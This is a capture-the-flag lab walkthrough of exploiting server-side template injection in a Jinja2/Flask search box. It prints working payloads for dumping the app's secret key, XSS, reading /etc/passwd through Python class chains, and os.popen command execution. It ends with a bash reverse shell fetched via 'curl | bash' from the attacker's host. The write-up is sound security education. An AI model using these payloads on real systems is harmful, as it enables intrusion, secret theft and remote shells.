Post

IML - Halloween 2020: Ep.5 – JinjaBread Man (SSTI)

Halloween 2020 Ep.5 – JinjaBread - A walkthrough of the challenge with enumeration, exploitation and privilege escalation steps.



IML - Halloween 2020: Ep.5 – JinjaBread Man (SSTI)

This lab is exploiting a Server Side Template Injection (SSTI) vulnerability in Jinja

  • Port 80 is open and we have a /admin directory:

image1

  • The actual page seems static apart from the search box:

image2

image3

and it gets executed (only what’s in the `` field):

image4

  • By injecting
1
{{config.items()}}

we can get the secret_key

image5

  • We can also get XSS by using the safe command:

image6

1
{{'<script>alert(1);</script>'|safe}}

image7

The actual SSTI:

  • First we need to find the index of _io._IOBase (the index changes by environment):
1
{{'abc'.__class__.__base__.__subclasses__()}}

image8

  • Now we can call it to test - by appending the index [92]:
1
{{'abc'.__class__.__base__.__subclasses__()[92]}}

image9

  • We then call the _io._RawIOBase class by adding .subclasses()[0]:
1
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0]}}

image10

  • We then call the _io.FileIO class by adding another .subclasses()[0]:
1
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]}}

image11

  • Finally, we can use this class to construct a file object and read our file:
1
{{'abc'.__class__.__base__.__subclasses__()[92].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}

image12

SSTI RCE:

  • The above link shows the RCE but this is a good article as well:

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

This RCE happens because Flask/Jinja2 templates have the request object available to them

  • By using the following payload, we are basically doing import os and os.popen(‘id’):
1
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

image13

  • Create a bash script (rev.sh):
1
2
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.102.4.249/4444 0>&1"
  • Set up a simple python server in the same directory

  • Set up a nc listener

  • Run the following in the search box:

1
{{request.application.__globals__.__builtins__.__import__('os').popen('curl 10.102.4.249:8000/rev.sh | bash').read()}}
  • And we have a shell back:

image14

image15

This post is licensed under CC BY 4.0 by the author.